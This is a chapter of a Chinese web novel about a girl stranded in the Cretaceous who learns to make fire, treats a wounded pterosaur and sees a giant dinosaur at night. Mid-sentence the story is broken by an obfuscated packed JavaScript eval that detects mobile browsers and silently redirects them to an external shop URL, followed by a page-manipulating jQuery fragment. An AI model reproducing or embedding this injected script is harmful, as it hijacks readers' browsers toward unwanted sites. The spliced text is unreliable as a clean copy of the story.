第七章
林小禾觉得，打火机这种东西，一定是上帝派来考验人类耐心的。
她蹲在洞口，手里攥着那个透明的塑料打火机，拇指按在打火轮上，使劲一搓——
没着。
再搓——
没着。
第三次，第四次，第五次。
打火轮磨得她拇指发疼，但火苗就是不出来。偶尔蹦出一两颗火星，然后在风里熄灭，像在嘲笑她。
“你不是说还有大半罐吗？！”她对着打火机喊，“你骗我！”
打火机沉默不语。
她摇了摇，里面确实还有液体，能听到晃动的声音。但打火轮好像出了什么问题，磨不出足够的火花。
“昨天还好好的。”她翻来覆去地看，“是不是进灰了？”
她用指甲抠了抠打火轮上的凹槽，抠出一些黑色的碎屑。再试——
“嚓”的一声，火苗跳了出来。
“有了！”她赶紧把火苗凑近提前准备好的干蕨叶，蕨叶一下子烧了起来。
她小心翼翼地把燃烧的蕨叶塞进搭好的柴堆里，细树枝开始噼里啪啦地响，白烟冒出来，呛得她直咳嗽。
“咳咳咳……着了着了！”
她蹲在火堆旁边，看着橘红色的火焰越烧越旺，心里的石头落了地。
但她很快又想到一个问题——打火机还能用几次？打火轮已经不太灵了，也许下一次就彻底坏了。
“得学钻木取火。”她自言自语，“万一打火机挂了，我还能生火。”
她看了一眼站在洞口上方岩壁上的绒绒。绒绒正低着头，用喙梳理翅膀上的羽毛，偶尔抬头看她一眼，然后又低头继续梳毛。
“绒绒，你会钻木取火吗？”
绒绒歪头。
“当我没问。”
---
她从洞里下来，在草地上找了几样东西：一块平整的木板（其实是树皮）、一根笔直的小木棍（比筷子粗一点）、一些干燥的枯草和树皮纤维（当引火物）。
“钻木取火。”她蹲在地上，把木板放在两脚之间固定好，木棍尖端抵在木板上，双手搓动木棍，“电视里看起来很简单，但……”
她搓了十秒钟，木棍和木板之间没有任何反应。
搓了三十秒，开始冒烟。
“有烟了！”她兴奋地加快速度，搓得手都酸了，“快着快着快着——”
烟消失了。
木棍从木板上的凹槽里滑出来，飞出去老远。
“……”林小禾看着那根飞走的木棍，沉默了五秒钟。
“林小北。”她站起来，对着天空喊，“你妹在钻木取火！你妹的手要断了！”
没有人回答。只有绒绒在岩壁上歪头看她，喉咙里发出咕噜咕噜的声音。
“你也笑我？”她瞪了绒绒一眼，“你来试试？”
绒绒展开翅膀，从岩壁上飞下来，落在她旁边，低头看着地上的木板和木棍。
“你懂吗？”林小禾叉着腰，“你懂钻木取火吗？”
绒绒用喙叼起木棍，在木板上划了两下，划出两道浅浅的痕迹，然后把木棍扔了。
“……不懂就别捣乱。”她捡回木棍，蹲下来继续搓。
这一次她学聪明了，先在木板上挖了一个小凹槽，把木棍顶在里面，然后用双手快速搓动。
十秒，二十秒，三十秒。
烟又冒出来了，这次比上次浓。她不敢停，继续搓，手心里全是汗，木棍好几次差点滑脱。
四十秒，烟更浓了。
五十秒，凹槽的边缘开始发黑。
一分钟——
“着了！！！”她看到凹槽里亮起一点红色的火星，赶紧把引火物盖上去，轻轻吹气。
火星引燃了枯草，火苗蹿了起来。
“着了着了着了！”她把燃烧的引火物放进柴堆里，火一下子烧起来，照亮了她的脸。
她跪在地上，大口喘气，双手通红，掌心磨出了两个水泡。
“我成功了。”她看着那堆火，声音有点抖，“我钻木取火了。”
绒绒走过来，低下头，用喙轻轻碰了碰她的肩膀。
“你别碰我，我手疼。”她把手举到面前，看着那两个水泡，“但我成功了。”
她站起来，对着火堆，深深地鞠了一躬。
“火神大人。”她一本正经地说，“我之前对您不敬，觉得您就是化学反应的产物。从今天起，您是神。我信了。”
绒绒歪头，像是在看一个疯子。
“你不懂。”林小禾看了绒绒一眼，“这是我们人类的仪式。”
绒绒又歪头。
“就是……对火表示感谢。”她解释，“没有火，我就得吃生的，晚上会被冻死，还会被恐龙吃掉。所以火很重要。”
绒绒好像听懂了，低下头，用喙碰了碰火堆——然后被烫了一下，猛地缩回去，发出“嘶”的一声。
“你傻啊！”林小禾赶紧去看它的喙，“火不能碰！烫！”
绒绒的喙上沾了一点灰，但没有受伤。它用翅膀蹭了蹭喙，然后往后退了两步，离火堆远了一点。
“知道怕了吧？”林小禾笑了，“火是很厉害的。”
她坐在火堆旁边，伸手烤火。白垩纪的早晨有点凉，火光照在身上暖洋洋的。
“妈。”她看着火焰，突然说，“你女儿会钻木取火了。”
“你女儿的手磨出了两个水泡。”
“你女儿现在特别想吃你做的饭。”
她吸了吸鼻子。
“但你不能给你女儿送饭，所以你女儿只能自己烤鱼。”
她从旁边拿起一条处理好的鱼——是昨天绒绒抓的，她用树枝串好，架在火上烤。鱼皮在火焰的炙烤下慢慢变白，发出滋滋的声音。
绒绒站在旁边，歪着头看着那条鱼。
“你也想吃？”林小禾看了它一眼，“你不是吃生的吗？”
绒绒没动，但眼睛一直盯着鱼。
“好吧，给你尝尝。”她把烤好的鱼从树枝上取下来，吹了吹，递到绒绒面前，“小心烫。”
绒绒低下头，用喙轻轻地叼起鱼，仰头吞了下去。
然后它歪着头，喉咙里发出咕噜咕噜的声音。
“好吃？”林小禾问。
绒绒又发出了那种声音。
“比生的好吃对不对？”她笑了，“那以后我都给你烤熟了再吃。”
绒绒用脑袋蹭了蹭她的肩膀。
“行了行了，别撒娇，我再烤一条。”
---
第二条鱼烤好的时候，林小禾咬了一口，烫得直哈气。
“好烫……但好吃。”
鱼肉是甜的，没有盐，没有调料，但就是好吃。可能是因为她亲手钻木取的火，可能是因为她知道这顿饭来之不易。
她嚼着鱼肉，看着远处的平原。今天的天气很好，天空湛蓝，只有几朵白云飘过。平原上的鸭嘴龙群已经走远了，只剩下几只落单的在吃草。
绒绒站在她旁边，身体靠在岩壁上，翅膀半展开，像是在晒太阳。
“绒绒。”她说。
绒绒歪头。
“你一个人在这里多久了？”
绒绒眨了眨眼。
“很久了吧？”她咬了一口鱼，“我也是一个人……不对，现在有你了。”
她咽下鱼肉，看着火焰。
“我之前特别害怕。第一天的时候，我哭了很久。我以为我会死在这里。”
“但是我没有。”
“我找到了水，找到了吃的，找到了住的地方，还学会了钻木取火。”
她顿了一下。
“还遇到了你。”
绒绒低下头，用喙碰了碰她的手。
“你是不是在安慰我？”她看着它，“你听得懂吗？”
绒绒歪头，眼睛里映着火光。
“听不懂也没关系。”她笑了，“你就当我自言自语。”
她吃完鱼，把鱼骨头扔进火堆里，骨头在火焰中发出噼啪的声音。
“绒绒。”她突然想到一个问题，“你受伤了对不对？”
绒绒的羽毛抖了一下。
“我在树皮上看到过你的羽毛，有血。”她站起来，走到绒绒面前，“你哪里受伤了？让我看看。”
绒绒往后退了一步。
“你别跑。”她跟着往前走，“让我看看。”
绒绒又退了一步。
“绒绒！”她停下脚步，叉着腰，“你受伤了要处理！不然会感染的！”
绒绒歪头。
“你知道感染是什么意思吗？就是伤口会烂，会发炎，你会发烧，会死掉。”
绒绒的翅膀抖了一下。
“怕了吧？”她放软了语气，“让我看看，好不好？”
绒绒犹豫了一下，慢慢地把左翅膀展开了一点。
林小禾凑过去看，在翅膀内侧靠近身体的地方，有一道伤口。不长，大概三厘米，但挺深的，周围的羽毛被血迹粘在一起，结了一层暗红色的痂。
“怎么伤的？”她皱起眉头，“被什么东西抓的？”
绒绒没有回答，只是安静地站在那里，让她看。
“我没有药。”她伸手轻轻摸了摸伤口周围的羽毛，“但我可以帮你清洗一下。”
她跑回洞里，拿了一片干净的蕨叶和一个用石头挖出来的浅坑——那是她做的“碗”，虽然漏水，但凑合能用。
从水潭里舀了半碗水，她走回绒绒身边，蹲下来。
“可能会有点疼，你忍一下。”
她用蕨叶蘸了水，轻轻地擦拭伤口周围的血迹。绒绒的身体抖了一下，但没有躲。
“疼吗？”她问。
绒绒发出了一声低沉的咕噜，像是说“还好”。
她小心翼翼地清理干净血痂，露出下面粉红色的新肉。伤口没有化脓，说明没有感染，但边缘有点红肿。
“需要草药。”她想了想，“你上次给我送的那种叶子——消炎的那个，你还有吗？”
绒绒歪头，然后展开翅膀，飞了起来。
“你去哪儿？”林小禾仰头看着它。
绒绒朝远处的森林飞去，很快消失在了树冠后面。
“去找草药了？”她站在草地上，等了大概五分钟。
绒绒飞回来了，嘴里叼着一把绿色的叶子——正是昨天给她敷伤口的那种。它落在她面前，把叶子放在地上。
“你真聪明。”林小禾捡起叶子，“谢谢你。”
她把叶子放在嘴里嚼烂，苦得整张脸皱成一团，然后吐出来，敷在绒绒的伤口上。再用一片干净的叶子盖在上面，最后从卫衣上撕下一条布——她的卫衣已经破得不成样子了——把叶子固定住。
“好了。”她拍了拍手，“虽然包得丑，但应该有用。”
绒绒低下头，用喙轻轻地碰了碰包扎的地方，然后抬起头，看着她。
它的眼睛圆圆的，黑曜石一样闪亮。
“不客气。”她笑了，“你帮过我，我也帮你。”
绒绒发出咕噜咕噜的声音，把脑袋靠过来，蹭了蹭她的脸。
“行了行了，你头上全是灰。”她摸了摸它的头，但还是让它蹭。
---
下午，林小禾在洞口补衣服。
说是补，其实就是用细藤蔓把破洞扎起来。她的手艺很差，扎出来的结又大又丑，但至少洞被堵住了。
“以后回去可以跟妈说，你女儿学会了缝衣服。”她对着绒绒说，“虽然缝的是破洞。”
绒绒站在洞口上方的岩壁上，歪头看她。
“你别看，你连针都没有。”
她低着头，专心致志地扎最后一个洞。牛仔裤的膝盖已经破得不能看了，她干脆把两个裤腿都剪短了一截，变成了短裤。
“凉快。”她站起来，看了看自己的造型，“就是蚊子多……不对，白垩纪有蚊子吗？”
她想了想，觉得肯定有。恐龙那么大，蚊子的祖先应该也不小。
“不想了。”她打了个哆嗦，回到洞里。
火还在烧，她往里面添了几根柴。火焰跳动着，把洞壁照得通红。
她坐在火堆旁边，从口袋里掏出绒绒
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17680373|207662||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
玩偶，放在膝盖上。
“绒绒。”她对玩偶说，“你看，外面那只绒绒受伤了。我帮它包扎了。”
玩偶歪着翅膀，像是在看她。
“你说它会不会好起来？”
玩偶没有回答。
“应该会吧。它那么壮。”
她抬头看了一眼洞口的翼龙。绒绒正闭着眼睛，像是在打盹。翅膀收拢着，白色的羽毛在阳光下泛着银光。
“绒绒。”她喊了一声。
翼龙睁开一只眼睛，看了她一眼。
“晚安。”
翼龙又闭上眼睛，喉咙里发出一声低沉的咕噜。
林小禾靠在洞壁上，把玩偶抱在怀里。
“晚安，林小北。”她小声说，“你也晚安。”
---
半夜，林小禾被一声巨响惊醒。
不是雷声，不是风声，是一种低沉的、从地面传来的震动。像是有什么巨大的东西在走路，每一步都踩在她的胸口上。
她猛地坐起来，洞里的火已经灭了，只剩下一堆暗红色的炭火。
洞口，绒绒已经醒了，正站在那里，头朝着远处的平原，翅膀半展开，喉咙里发出低沉的警告声。
“怎么了？”林小禾爬过去，趴在洞口往下看。
月光下，远处的地平线上，有一个黑色的影子在移动。很大，比她见过的任何东西都大。有她住的这个岩洞那么高，身体像一座小山，四肢粗壮，尾巴拖在地上。
霸王龙。
不，不是霸王龙——霸王龙的体型没这么大。是某种巨大的蜥脚类恐龙，可能是腕龙或者阿根廷龙。
它走得很慢，每一步都让地面震动。林小禾能感觉到石头在抖，洞壁上的灰尘簌簌地往下掉。
“好大。”她的声音在发抖，“真的好大。”
绒绒转过头，用喙碰了碰她的脸，像是在说“别怕”。
“我不怕。”她攥紧了手里的玩偶，“它就是路过……对吧？”
绒绒没有回答，只是站在洞口，身体微微前倾，像一面盾牌。
那只巨大的恐龙没有朝她们这边走过来。它沿着平原的边缘慢慢地走，十分钟后，消失在了远处的森林里。
地面的震动渐渐停止了。
林小禾松了一口气，才发现自己的手心里全是汗。
“绒绒。”她喊了一声。
绒绒转过头。
“你刚才是在保护我吗？”
绒绒歪头。
“你站在洞口，是想挡住我？”
绒绒眨了眨眼。
“谢谢你。”她的鼻子有点酸，“虽然你挡不住它——它一脚就能把这个洞踩塌。”
绒绒歪头的角度变了，像是在说“那我也要挡”。
林小禾看着它，突然觉得这只翼龙有点像一个人。
林小北。
林小北也是这样——明明打不过，明明挡不住，但每次都会挡在她前面。
小时候她被邻居家的狗追，林小北冲过去挡在她前面，自己却被狗咬了一口。回家后他哭着打狂犬疫苗，妈妈问他为什么要挡，他说“我是哥哥”。
“林小北。”她小声说，“你是不是也这样？”
绒绒歪头。
“你不是他。”她摇了摇头，“你是绒绒。你是我朋友。”
她伸出手，摸了摸绒绒的喙。
“谢谢你，朋友。”
绒绒发出咕噜咕噜的声音，把脑袋靠在她肩膀上。
这一次，她没有说重。
---
后半夜，林小禾睡不着了。
她坐在洞口，看着天空。今晚的星星比昨天少一些，月亮也缺了一角。但还是很美。
“绒绒。”她轻声说，“你说，我还能回去吗？”
绒绒站在她旁边，歪头。
“我想回家。”她低下头，“我想我妈做的红烧肉，想我爸煮的汤，想大哥看的书，想林小北抢我零食。”
“我特别想。”
她的眼眶湿了。
“但是我也舍不得你。”
绒绒用喙碰了碰她的手。
“如果你能跟我一起回去就好了。”她抬起头，看着绒绒的眼睛，“你见过我家吗？我家不大，但很暖和。你这么大只，住不下。”
她笑了一下，眼泪掉了下来。
“你可以在阳台上搭个窝。妈肯定不同意，说‘养什么不好养只翼龙’。”
她擦了擦眼泪。
“林小北肯定高兴坏了。他说不定会骑着你去上学。”
她想象了一下那个画面——林小北穿着校服，骑着一只白色翼龙飞过城市上空，下面的人全在拍照。
“他要是敢骑你，我就揍他。”
绒绒歪头，喉咙里发出咕噜咕噜的声音，像是在笑。
“你笑什么？”她看了它一眼，“你也不许让他骑。你只能让我骑。”
话一出口，她愣了一下。
骑翼龙。
她从来没想过这个。但绒绒这么大，翅膀这么宽，好像……真的可以骑？
“绒绒。”她的眼睛亮了，“你能带我飞吗？”
绒绒歪头。
“你带我飞一圈？就一圈？”
绒绒展开翅膀，扇了两下，风把她的头发吹得乱七八糟。
“你这是……同意了？”
绒绒收拢翅膀，歪头看着她。
“明天？”她问。
绒绒眨了眨眼。
“好，明天。”
她靠着绒绒的翅膀，闭上眼睛。
绒绒的羽毛很软，很暖和。她能听到它的心跳，咚咚咚的，比人的慢，但很有力。
“绒绒。”她最后说了一句。
绒绒咕噜了一声。
“晚安。”
白垩纪，第七天。
她学会了钻木取火。
她帮一只翼龙包扎了伤口。
她看到了一只比山还大的恐龙。
她决定明天骑翼龙飞一圈。
还有，她越来越觉得，这只翼龙歪头的角度，真的很像林小北。